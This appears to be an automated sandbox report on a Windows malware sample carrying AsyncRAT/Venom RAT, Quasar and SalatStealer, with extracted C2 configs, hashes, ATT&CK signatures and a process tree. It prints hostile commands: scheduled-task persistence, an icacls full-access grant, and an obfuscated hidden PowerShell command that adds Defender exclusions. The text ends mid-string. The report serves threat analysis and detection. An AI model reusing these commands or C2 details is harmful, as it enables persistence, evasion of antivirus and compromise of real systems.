asyncrat | 65ba3988d38f83b9ee1f31cafa5bd37dc6b72279f5618aac94d71a904efa0cac

max time kernel
149s
max time network
154s
platform
windows11-21h2_x64
resource
win11-20260130-en
resource tags

arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
19/04/2026, 15:47

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2to1ep.exe
Size 13.1MB
Sample260419-s8fttses7k
SHA256 65ba3988d38f83b9ee1f31cafa5bd37dc6b72279f5618aac94d71a904efa0cac
MD5 7d1a85e807ff9b48edc2e08a01b35e07
SHA1 9d772258c620629c299bbad24c968b1cc476a6a1
SHA512 8553ca5d63c2667da0f1044a1c6d00713a5f7d826cd5e5e17cdcf1a2eed4ece844b7d16a06933c44273181d98d330eb944f8b72d835bdd31d75be7b3b75edc43
SSDEEP 196608:APPuglgRWUeR24iMqWNo2mtKVzurHm5POMP/XRL234tSoz2/Tsj+51nOxd:EPuhRW1R2JtWNhqKVzuC5zXA34tSQ
TLSH
T1D7D63338236406E7F4F6D734E940C4B6D6ABAD161B57C28383F8D56B2D232C16A373A5
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

default google chrome runtimebroker defense_evasion discovery execution asyncrat quasar salatstealer installer persistence privilege_escalation rat spyware stealer trojan upx

Malware Config

Extracted

Family

quasar

Attributes

encryption_key
AFA3CAD4ED1D6F9700536DD60F51307FFEA2892B
key_salt
5a23f8394640cb9e40658446a04c0bbae82dc93d0470e1b2a406a90fd2520382
reconnect_delay
3000

Extracted

Family

quasar

Version

1.4.1

Botnet

Google Chrome

196.251.107.24:4782

Mutex

15fffa08-e63c-41fb-ac4a-5b24c2a4872f

Attributes

encryption_key
363C5465989001701BFD2DE6993628E0264DC7E7
install_name
Chrome.exe
key_salt
bfeb1e56fbcd973bb219022430a57843003d5644d21e62b9d4f180e7e6c33941
log_directory
Logs
reconnect_delay
3000
startup_key
Google Chrome
subdirectory
Google

Extracted

Family

asyncrat

Version

Venom RAT + HVNC + Stealer + Grabber v6.0.3

Botnet

Default

196.251.107.24:4449

Mutex

khbnoparazawtv

Attributes

delay
1
install
true
install_file
Google.exe
install_folder
%AppData%

aes.plain

Extracted

Family

quasar

Version

1.4.1

Botnet

RuntimeBroker

wisedreams-53895.portmap.io:53895

Mutex

3660874b-db54-4220-a432-d5fe6599ee7f

Attributes

encryption_key
2EEF46A138D721E58A3C90F6CE7CFC94A47B0492
install_name
updater.exe
key_salt
bfeb1e56fbcd973bb219022430a57843003d5644d21e62b9d4f180e7e6c33941
log_directory
Logs
reconnect_delay
3000
startup_key
RuntimeBroker
subdirectory
SubDir

Signatures

Family: AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Family: Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar
Family: salatstealer
SalatStealer is a stealer that takes sceenshot written in Golang.
stealer salatstealer

Detect SalatStealer payload 1 IoCs

resource	yara_rule
behavioral2/memory/9004-2809-0x0000000000260000-0x0000000000DEE000-memory.dmp	family_salatstealer

Quasar payload 3 IoCs

resource	yara_rule
behavioral2/memory/5688-421-0x0000029412470000-0x0000029412564000-memory.dmp	family_quasar
behavioral2/memory/6384-509-0x0000000000170000-0x0000000000494000-memory.dmp	family_quasar
behavioral2/memory/10232-2854-0x0000000000BC0000-0x0000000000EE4000-memory.dmp	family_quasar

Command and Scripting Interpreter: PowerShell 1 TTPs 23 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
8472	powershell.exe
10176	powershell.exe
7920	powershell.exe
9616	powershell.exe
2008	powershell.exe
6756	powershell.exe
6788	powershell.exe
10064	powershell.exe
6668	powershell.exe
9616	powershell.exe
13128	powershell.exe
2568	powershell.exe
13356	powershell.exe
10360	powershell.exe
14052	powershell.exe
5840	powershell.exe
6788	powershell.exe
10064	powershell.exe
14228	powershell.exe
11336	powershell.exe
1072	powershell.exe
7412	powershell.exe
12104	powershell.exe

Downloads MZ/PE file

Modifies Windows Firewall 2 TTPs 3 IoCs

defense_evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
3744	netsh.exe
5600	netsh.exe
9036	netsh.exe

Loads dropped DLL 28 IoCs

pid	Process
4484	2to1ep.exe
4484	2to1ep.exe
4484	2to1ep.exe
4484	2to1ep.exe
4484	2to1ep.exe
4484	2to1ep.exe
4484	2to1ep.exe
4484	2to1ep.exe
4484	2to1ep.exe
4484	2to1ep.exe
4484	2to1ep.exe
4484	2to1ep.exe
4484	2to1ep.exe
4484	2to1ep.exe
4484	2to1ep.exe
4484	2to1ep.exe
4484	2to1ep.exe
4484	2to1ep.exe
4484	2to1ep.exe
4484	2to1ep.exe
4484	2to1ep.exe
3604	2to1ep.exe
3604	2to1ep.exe
3604	2to1ep.exe
3604	2to1ep.exe
3604	2to1ep.exe
3604	2to1ep.exe
3604	2to1ep.exe

Modifies file permissions 1 TTPs 3 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
7056	icacls.exe
7332	icacls.exe
8784	icacls.exe

Contacts third-party web service commonly abused for C2 1 TTPs 49 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
30	raw.githubusercontent.com
31	raw.githubusercontent.com
32	raw.githubusercontent.com
34	raw.githubusercontent.com
56	raw.githubusercontent.com
57	raw.githubusercontent.com
100	raw.githubusercontent.com
117	raw.githubusercontent.com
7	raw.githubusercontent.com
128	raw.githubusercontent.com
156	raw.githubusercontent.com
158	raw.githubusercontent.com
159	raw.githubusercontent.com
191	raw.githubusercontent.com
328	raw.githubusercontent.com
545	raw.githubusercontent.com
9	raw.githubusercontent.com
52	raw.githubusercontent.com
94	pastebin.com
109	raw.githubusercontent.com
126	raw.githubusercontent.com
487	raw.githubusercontent.com
58	raw.githubusercontent.com
68	raw.githubusercontent.com
108	raw.githubusercontent.com
119	raw.githubusercontent.com
124	raw.githubusercontent.com
33	raw.githubusercontent.com
50	raw.githubusercontent.com
125	raw.githubusercontent.com
169	raw.githubusercontent.com
170	raw.githubusercontent.com
280	raw.githubusercontent.com
485	raw.githubusercontent.com
85	raw.githubusercontent.com
107	raw.githubusercontent.com
110	raw.githubusercontent.com
157	raw.githubusercontent.com
253	raw.githubusercontent.com
266	raw.githubusercontent.com
42	raw.githubusercontent.com
111	raw.githubusercontent.com
112	raw.githubusercontent.com
339	raw.githubusercontent.com
344	raw.githubusercontent.com
36	raw.githubusercontent.com
173	raw.githubusercontent.com
401	pastebin.com
524	raw.githubusercontent.com

Looks up external IP address via web service 3 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
8	api.ipify.org
93	ip-api.com
198	api.ipify.org

UPX packed file 14 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/5480-472-0x0000000000400000-0x0000000000552000-memory.dmp	upx
behavioral2/memory/5480-688-0x0000000000400000-0x0000000000552000-memory.dmp	upx
behavioral2/files/0x001200000002b9ee-2050.dat	upx
behavioral2/memory/9336-2112-0x0000000000400000-0x0000000000487000-memory.dmp	upx
behavioral2/memory/2752-2110-0x0000000000400000-0x0000000000487000-memory.dmp	upx
behavioral2/memory/9148-2098-0x0000000000400000-0x0000000000487000-memory.dmp	upx
behavioral2/memory/7940-2094-0x0000000000400000-0x0000000000487000-memory.dmp	upx
behavioral2/memory/7756-2090-0x0000000000400000-0x0000000000487000-memory.dmp	upx
behavioral2/memory/9004-2484-0x0000000000260000-0x0000000000DEE000-memory.dmp	upx
behavioral2/memory/5480-2699-0x0000000010000000-0x00000000103CF000-memory.dmp	upx
behavioral2/memory/9004-2809-0x0000000000260000-0x0000000000DEE000-memory.dmp	upx
behavioral2/memory/5480-3049-0x0000000010000000-0x00000000103CF000-memory.dmp	upx
behavioral2/memory/12080-3314-0x0000000000050000-0x0000000001B4A000-memory.dmp	upx
behavioral2/memory/9932-2857-0x00007FF6ADE90000-0x00007FF6ADEAC000-memory.dmp	upx

Event Triggered Execution: Installer Packages 2 TTPs 21 IoCs

persistence privilege_escalation

Installer Packages

T1546.016

Msiexec

T1218.007

pid	Process
4496	msiexec.exe
7440	msiexec.exe
10628	msiexec.exe
6344	msiexec.exe
12924	msiexec.exe
9356	msiexec.exe
5976	msiexec.exe
6352	msiexec.exe
6140	msiexec.exe
7768	msiexec.exe
8568	msiexec.exe
11900	msiexec.exe
5816	msiexec.exe
9784	msiexec.exe
10412	msiexec.exe
9780	msiexec.exe
7240	msiexec.exe
3388	msiexec.exe
8096	msiexec.exe
9288	msiexec.exe
4704	msiexec.exe

Program crash 1 IoCs

pid	pid_target	Process
5896	3952	WerFault.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
6720	fastping_silent_v4.exe

System Time Discovery 1 TTPs 3 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
3744	netsh.exe
5600	netsh.exe
9036	netsh.exe

Inno Setup is an open-source installation builder for Windows applications. 2 IoCs

Inno Setup installer

installer

resource	yara_rule
behavioral2/memory/1868-379-0x00000000006B0000-0x000000000079F000-memory.dmp	innosetup
behavioral2/memory/1868-503-0x00000000006B0000-0x000000000079F000-memory.dmp	innosetup

NSIS installer 4 IoCs

installer

resource	yara_rule
behavioral2/files/0x000d00000002bb74-5969.dat	nsis_installer_1
behavioral2/files/0x000d00000002bb74-5969.dat	nsis_installer_2
behavioral2/files/0x000a00000002c2a3-8142.dat	nsis_installer_1
behavioral2/files/0x000a00000002c2a3-8142.dat	nsis_installer_2

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000	Taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	Taskmgr.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	Taskmgr.exe

Kills process with taskkill 4 IoCs

defense_evasion

pid	Process
9156	taskkill.exe
11636	TASKKILL.exe
12244	taskkill.exe
5592	TASKKILL.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 8 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
6024	schtasks.exe
12260	schtasks.exe
12088	schtasks.exe
14168	schtasks.exe
6844	schtasks.exe
5028	schtasks.exe
1468	schtasks.exe
7560	schtasks.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
3876	Taskmgr.exe
3876	Taskmgr.exe
3876	Taskmgr.exe
3876	Taskmgr.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	3876	Taskmgr.exe
Token: SeSystemProfilePrivilege	3876	Taskmgr.exe
Token: SeCreateGlobalPrivilege	3876	Taskmgr.exe

Suspicious use of FindShellTrayWindow 14 IoCs

pid	Process
3876	Taskmgr.exe
3876	Taskmgr.exe
3876	Taskmgr.exe
3876	Taskmgr.exe
3876	Taskmgr.exe
3876	Taskmgr.exe
3876	Taskmgr.exe
3876	Taskmgr.exe
3876	Taskmgr.exe
3876	Taskmgr.exe
3876	Taskmgr.exe
3876	Taskmgr.exe
3876	Taskmgr.exe
3876	Taskmgr.exe

Suspicious use of SendNotifyMessage 14 IoCs

pid	Process
3876	Taskmgr.exe
3876	Taskmgr.exe
3876	Taskmgr.exe
3876	Taskmgr.exe
3876	Taskmgr.exe
3876	Taskmgr.exe
3876	Taskmgr.exe
3876	Taskmgr.exe
3876	Taskmgr.exe
3876	Taskmgr.exe
3876	Taskmgr.exe
3876	Taskmgr.exe
3876	Taskmgr.exe
3876	Taskmgr.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 3380 wrote to memory of 4484	3380	2to1ep.exe	80
PID 4484 wrote to memory of 1032	4484	2to1ep.exe	81
PID 1032 wrote to memory of 5028	1032	cmd.exe	82
PID 4484 wrote to memory of 728	4484	2to1ep.exe	83
PID 728 wrote to memory of 3876	728	cmd.exe	84
PID 4432 wrote to memory of 3604	4432	2to1ep.exe	87

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

Views/modifies file attributes 1 TTPs 2 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
12284	attrib.exe
10908	attrib.exe

C:\Users\Admin\AppData\Local\Temp\2to1ep.exe
"C:\Users\Admin\AppData\Local\Temp\2to1ep.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3380
- C:\Users\Admin\AppData\Local\Temp\2to1ep.exe
  "C:\Users\Admin\AppData\Local\Temp\2to1ep.exe"
  2⤵
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:4484
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "schtasks /Create /TN crypto_nuke_task /TR \"C:\Users\Admin\AppData\Local\Temp\2to1ep.exe\" /SC ONLOGON /RL HIGHEST /F"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1032
  - - C:\Windows\system32\schtasks.exe
      schtasks /Create /TN crypto_nuke_task /TR \"C:\Users\Admin\AppData\Local\Temp\2to1ep.exe\" /SC ONLOGON /RL HIGHEST /F
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:5028
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /C start c:\Windows\System32\Taskmgr.exe
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:728
  - - \??\c:\Windows\System32\Taskmgr.exe
      c:\Windows\System32\Taskmgr.exe
      4⤵
      Checks SCSI registry key(s)
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of FindShellTrayWindow
      Suspicious use of SendNotifyMessage
      PID:3876
- - C:\Users\Admin\AppData\Local\Temp\a\payload.exe
    payload.exe
    3⤵
    PID:6640
- - C:\Windows\SYSTEM32\msiexec.exe
    msiexec.exe /i Afbrndings.msi
    3⤵
    - Event Triggered Execution: Installer Packages
    PID:7440
- - C:\Users\Admin\AppData\Local\Temp\a\g64.exe
    g64.exe
    3⤵
    PID:9228
- - C:\Users\Admin\AppData\Local\Temp\a\support.client.exe
    support.client.exe
    3⤵
    PID:10420
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe"
      4⤵
      PID:8440
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c WindowsLogonService.bat
    3⤵
    PID:10824
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\a\WindowsLogonService.bat"
      4⤵
      PID:2412
- - C:\Users\Admin\AppData\Local\Temp\a\123123.exe
    123123.exe
    3⤵
    PID:9496
- - C:\Users\Admin\AppData\Local\Temp\a\randll32.exe
    randll32.exe
    3⤵
    PID:9004
- - C:\Users\Admin\AppData\Local\Temp\a\Rsvp_invite%23903388.exe
    Rsvp_invite%23903388.exe
    3⤵
    PID:5388
  - - C:\Program Files (x86)\CentraStage\Gui.exe
      "C:\Program Files (x86)\CentraStage\Gui.exe"
      4⤵
      PID:3548
- - C:\Windows\SYSTEM32\msiexec.exe
    msiexec.exe /i ScreenConnect.ClientSetup.msi
    3⤵
    - Event Triggered Execution: Installer Packages
    PID:9780
- - C:\Windows\SYSTEM32\msiexec.exe
    msiexec.exe /i RWBHGSQS.msi
    3⤵
    - Event Triggered Execution: Installer Packages
    PID:6344
- - C:\Users\Admin\AppData\Local\Temp\a\webplugin.exe
    webplugin.exe
    3⤵
    PID:5264
  - - C:\Windows\SysWOW64\TASKKILL.exe
      TASKKILL /F /IM WebActiveEXE.exe
      4⤵
      Kills process with taskkill
      PID:11636
  - - C:\Windows\SysWOW64\TASKKILL.exe
      TASKKILL /F /IM TimeGridEXE.exe
      4⤵
      Kills process with taskkill
      PID:5592
  - - C:\Program Files (x86)\webrec\WEB30\WebPlugin\WebActiveEXE.exe
      "C:\Program Files (x86)\webrec\WEB30\WebPlugin\WebActiveEXE.exe" /regserver
      4⤵
      PID:15420
  - - C:\Program Files (x86)\webrec\WEB30\WebPlugin\TimeGridEXE.exe
      "C:\Program Files (x86)\webrec\WEB30\WebPlugin\TimeGridEXE.exe" /regserver
      4⤵
      PID:15432
  - - C:\Windows\SysWOW64\regsvr32.exe
      regsvr32 /s "atl.dll"
      4⤵
      PID:15444
- - C:\Users\Admin\AppData\Local\Temp\a\q8348.exe
    q8348.exe
    3⤵
    PID:6576
- - C:\Windows\SYSTEM32\msiexec.exe
    msiexec.exe /i Loader.msi
    3⤵
    - Event Triggered Execution: Installer Packages
    PID:5976
- - C:\Users\Admin\AppData\Local\Temp\a\PPTV(pplive)_forap_1084_9993.exe
    PPTV(pplive)_forap_1084_9993.exe
    3⤵
    PID:11536
  - - C:\Windows\SysWOW64\regsvr32.exe
      regsvr32 /s "C:\Program Files (x86)\Internet Explorer\PPLite\plugin\1.0.1.1058\pplugin2.dll"
      4⤵
      PID:11728
- - C:\Users\Admin\AppData\Local\Temp\a\UniversalBrowser.exe
    UniversalBrowser.exe
    3⤵
    PID:11828
- - C:\Users\Admin\AppData\Local\Temp\a\pardufrigi_installer_1.0.p1.exe
    pardufrigi_installer_1.0.p1.exe
    3⤵
    PID:12788
  - - C:\Users\Admin\AppData\Local\Temp\is-EN77LZNDRV.tmp\pardufrigi_installer_1.0.p1.tmp
      "C:\Users\Admin\AppData\Local\Temp\is-EN77LZNDRV.tmp\pardufrigi_installer_1.0.p1.tmp" /SL5="$306AA,4543643,893952,C:\Users\Admin\AppData\Local\Temp\a\pardufrigi_installer_1.0.p1.exe"
      4⤵
      PID:12332
- - C:\Users\Admin\AppData\Local\Temp\a\rustdesk-1.2.3-2-x86_64.exe
    rustdesk-1.2.3-2-x86_64.exe
    3⤵
    PID:3304
  - - C:\Users\Admin\AppData\Local\rustdesk\rustdesk.exe
      "C:\Users\Admin\AppData\Local\rustdesk\.\rustdesk.exe"
      4⤵
      PID:12992
    - - C:\Windows\system32\icacls.exe
        
        "icacls" C:\ProgramData\RustDesk\shared_memory_portable_service /grant *S-1-1-0:(OI)(CI)F /T
        5⤵
        Modifies file permissions
        
        PID:7332
    - - C:\Users\Admin\AppData\Local\rustdesk\rustdesk.exe
        
        "C:\Users\Admin\AppData\Local\rustdesk\rustdesk.exe" --portable-service
        5⤵
        
        PID:11420
      - C:\Users\Admin\AppData\Local\rustdesk\rustdesk.exe
        
        "C:\Users\Admin\AppData\Local\rustdesk\rustdesk.exe" --run-as-system
        6⤵
        
        PID:8940
- - C:\Users\Admin\AppData\Local\Temp\a\autocad_v1.4.exe
    autocad_v1.4.exe
    3⤵
    PID:13544
- - C:\Users\Admin\AppData\Local\Temp\a\AutoIt3.exe
    AutoIt3.exe
    3⤵
    PID:11856
- - C:\Users\Admin\AppData\Local\Temp\a\Win_Driver_SSL_support_v43.22.209.44.exe
    Win_Driver_SSL_support_v43.22.209.44.exe
    3⤵
    PID:14160
- - C:\Users\Admin\AppData\Local\Temp\a\dajoke2.exe
    dajoke2.exe
    3⤵
    PID:12904
- - C:\Users\Admin\AppData\Local\Temp\a\64th%20Services.exe
    64th%20Services.exe
    3⤵
    PID:3448
- - C:\Users\Admin\AppData\Local\Temp\a\Printer_Driver_SSL_support_v43.22.209.99.exe
    Printer_Driver_SSL_support_v43.22.209.99.exe
    3⤵
    PID:13964
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\main\main.bat" /S"
      4⤵
      PID:13512
- - C:\Windows\SYSTEM32\msiexec.exe
    msiexec.exe /i SSA_Statement.msi
    3⤵
    - Event Triggered Execution: Installer Packages
    PID:12924
- - C:\Users\Admin\AppData\Local\Temp\a\free.exe
    free.exe
    3⤵
    PID:12908
- - C:\Users\Admin\AppData\Local\Temp\a\RankupServicecleaner.exe
    RankupServicecleaner.exe
    3⤵
    PID:13616
- - C:\Users\Admin\AppData\Local\Temp\a\RankupServiceFreeTemp.exe
    RankupServiceFreeTemp.exe
    3⤵
    PID:14220
- - C:\Windows\SYSTEM32\msiexec.exe
    msiexec.exe /i SSA_Statement.msi
    3⤵
    - Event Triggered Execution: Installer Packages
    PID:4704
- - C:\Users\Admin\AppData\Local\Temp\a\%E7%BD%91%E6%98%93%E4%BA%91%E9%9F%B3%E4%B9%90.exe
    %E7%BD%91%E6%98%93%E4%BA%91%E9%9F%B3%E4%B9%90.exe
    3⤵
    PID:10248
- - C:\Users\Admin\AppData\Local\Temp\a\%E5%88%92%E5%AD%A6%E5%8F%B7V2--%E6%9E%81%E9%80%9F%E7%89%88.exe
    %E5%88%92%E5%AD%A6%E5%8F%B7V2--%E6%9E%81%E9%80%9F%E7%89%88.exe
    3⤵
    PID:916
  - - C:\Users\Admin\AppData\Local\Temp\a\%E5%88%92%E5%AD%A6%E5%8F%B7V2--%E6%9E%81%E9%80%9F%E7%89%88.exe
      C:\Users\Admin\AppData\Local\Temp\a\%E5%88%92%E5%AD%A6%E5%8F%B7V2--%E6%9E%81%E9%80%9F%E7%89%88.exe
      4⤵
      PID:11372
- - C:\Windows\SYSTEM32\wscript.exe
    wscript.exe Approved%20Document%23402.vbs
    3⤵
    PID:10112
- - C:\Windows\SYSTEM32\msiexec.exe
    msiexec.exe /i Approved%20Document%23D53LU.msi
    3⤵
    - Event Triggered Execution: Installer Packages
    PID:4496
- - C:\Users\Admin\AppData\Local\Temp\a\1117.exe
    1117.exe
    3⤵
    PID:9792
- - C:\Users\Admin\AppData\Local\Temp\a\Qbix01.exe
    Qbix01.exe
    3⤵
    PID:12672
  - - C:\Users\Admin\AppData\Local\Temp\7zS19B3.tmp\winvnc.exe
      .\winvnc.exe
      4⤵
      PID:11780

C:\Users\Admin\AppData\Local\Temp\2to1ep.exe
"C:\Users\Admin\AppData\Local\Temp\2to1ep.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4432
- C:\Users\Admin\AppData\Local\Temp\2to1ep.exe
  "C:\Users\Admin\AppData\Local\Temp\2to1ep.exe"
  2⤵
  - Loads dropped DLL
  PID:3604
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "schtasks /Create /TN crypto_nuke_task /TR \"C:\Users\Admin\AppData\Local\Temp\2to1ep.exe\" /SC ONLOGON /RL HIGHEST /F"
    3⤵
    PID:964
  - - C:\Windows\system32\schtasks.exe
      schtasks /Create /TN crypto_nuke_task /TR \"C:\Users\Admin\AppData\Local\Temp\2to1ep.exe\" /SC ONLOGON /RL HIGHEST /F
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:1468
- - C:\Windows\system32\cmd.exe
    cmd.exe /C start c:\Windows\System32\Taskmgr.exe
    3⤵
    PID:3384
  - - \??\c:\Windows\System32\Taskmgr.exe
      c:\Windows\System32\Taskmgr.exe
      4⤵
      PID:4008
- - C:\Windows\SYSTEM32\mshta.exe
    mshta.exe encrypted.hta
    3⤵
    PID:5004
- - C:\Windows\SYSTEM32\mshta.exe
    mshta.exe encrypted.hta
    3⤵
    PID:4024
- - C:\Windows\SYSTEM32\mshta.exe
    mshta.exe MaybeWorking.hta
    3⤵
    PID:4512
- - C:\Windows\SYSTEM32\mshta.exe
    mshta.exe DetectionRateTesting.hta
    3⤵
    PID:4688
- - C:\Windows\SYSTEM32\mshta.exe
    mshta.exe encrypted.hta
    3⤵
    PID:8
- - C:\Windows\system32\a\Silentum_Spoofer.exe
    Silentum_Spoofer.exe
    3⤵
    PID:1080
  - - C:\Users\Admin\AppData\Local\82e08ecf-0248-4c05-b29a-7912a0cf6e01\background.exe
      "C:\Users\Admin\AppData\Local\82e08ecf-0248-4c05-b29a-7912a0cf6e01\background.exe"
      4⤵
      PID:5980
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" --headless --incognito
        5⤵
        
        PID:2052
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand JABsAGEAPQAkAGUAbgB2ADoATABPAEMAQQBMAEEAUABQAEQAQQBUAEEAOwAkAHAAMQA9ACgAJABsAGEAIAArACAAKAAnAFwAJwArACcATQBpAGMAcgBvAHMAbwBmACcAKwAnAHQAXABPAGYAZgBpAGMAZQAnACsAJwBCACcAKwAnAHIAbwBrACcAKwAnAGUAJwArACcAcgAnACkAKQA7ACQAcAAyAD0AKAAkAGwAYQAgACsAIAAoACcAXABQAGEAYwBrAGEAJwArACcAZwBlAHMAXABNACcAKwAnAGkAYwByACcAKwAnAG8AcwBvAGYAJwArACcAdAAuAFcAaQAnACsAJwBuACcAKwAnAGQAbwB3AHMALgBQAGUAbwAnACsAJwBwAGwAZQBFACcAKwAnAHgAJwArACcAcABlAHIAaQBlAG4AYwBlACcAKwAnAEgAbwBzAHQAXwBnAHcAJwArACcAMQBuADEAYwAyAGYAaAAnACsAJwB5AGUAJwArACcAcQAnACsAJwB5ACcAKQApADsAJABwADIAdAA9ACgAJABwADIAIAArACAAKAAtAGoAbwBpAG4AKAAnAFwAQQBDACcALAAnAFwAVABlACcALAAnAG0AcAAnACkAKQApADsATgBlAHcALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABwADEAIAAtAEkAdABlAG0AVAB5AHAAZQAgAEQAaQByAGUAYwB0AG8AcgB5ACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAOwBOAGUAdwAtAEkAdABlAG0AIAAtAFAAYQB0AGgAIAAkAHAAMgB0ACAALQBJAHQAZQBtAFQAeQBwAGUAIABEAGkAcgBlAGMAdABvAHIAeQAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsADsAYQB0AHQAcgBpAGIAIAArAGgAIAArAHMAIAAkAHAAMQA7AGEAdAB0AHIAaQBiACAAKwBoACAAKwBzACAAJABwADIAOwByAGUAZwAgAGEAZABkACAAKAAtAGoAbwBpAG4AKAAnAEgASwAnACwAJwBMAE0AJwAsACcAXABTACcALAAnAE8ARgBUAFcAQQBSAEUAXAAnACwAJwBQAG8AbABpACcALAAnAGMAaQBlACcALAAnAHMAXABNAGkAYwByAG8AJwAsACcAcwBvAGYAdABcAFcAJwAsACcAaQBuAGQAbwAnACwAJwB3AHMAIABEAGUAZgBlAG4AJwAsACcAZABlAHIAXABFAHgAYwAnACwAJwBsAHUAcwAnACwAJwBpAG8AbgBzAFwAUABhACcALAAnAHQAJwAsACcAaABzACcAKQApACAALwBmACAALwByAGUAZwA6ADYANAA7AHIAZQBnACAAYQBkAGQAIAAoAC0AagBvAGkAbgAoACcASAAnACwAJwBLAEwATQBcAFMATwBGAFQAJwAsACcAVwBBAFIARQAnACwAJwBcAFAAbwBsAGkAYwAnACwAJwBpAGUAcwBcAE0AaQBjAHIAJwAsACcAbwBzAG8AZgB0AFwAJwAsACcAVwBpAG4AZAAnACwAJwBvAHcAcwAgAEQAZQAnACwAJwBmAGUAbgBkAGUAJwAsACcAcgAnACwAJwBcAEUAeABjAGwAdQBzAGkAJwAsACcAbwBuAHMAXAAnACwAJwBQAGEAdABoAHMAJwApACkAIAAvAHYAIAAkAHAAMQAgAC8AdAAgAFIARQBHAF8ARABXAE8AUgBEACAALwBkACAAMAAgAC8AZgAgAC8AcgBlAGcAOgA2ADQAOwByAGUAZwAgAGEAZABkACAAKAAtAGoAbwBpAG4AKAAnAEgASwBMAE0AXABTAE8ARgAnACwAJwBUAFcAJwAsACcAQQBSAEUAXABQACcALAAnAG8AbABpAGMAaQBlAHMAXAAnACwAJwBNAGkAYwByAG8AcwAnACwAJwBvAGYAdABcAFcAaQBuAGQAJwAsACcAbwB3AHMAIABEAGUAJwAsACcAZgBlAG4AZAAnACwAJwBlAHIAJwAsACcAXABFAHgAYwBsAHUAcwBpACcALAAnAG8AbgBzACcALAAnAFwAUABhAHQAaABzACcAKQApACAALwB2ACAAJABwADIAIAAvAHQAIABSAEUARwBfAEQAVwBPAFIARAAgAC8AZAAgADAAIAAvAGYAIAAvAHIAZQBnADoANgA0ADsAdAByAHkAewBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJABwADEAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7AEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAkAHAAMgAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAfQBjAGEAdABjAGgAewB9AFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIABnAHAAdQBwAGQAY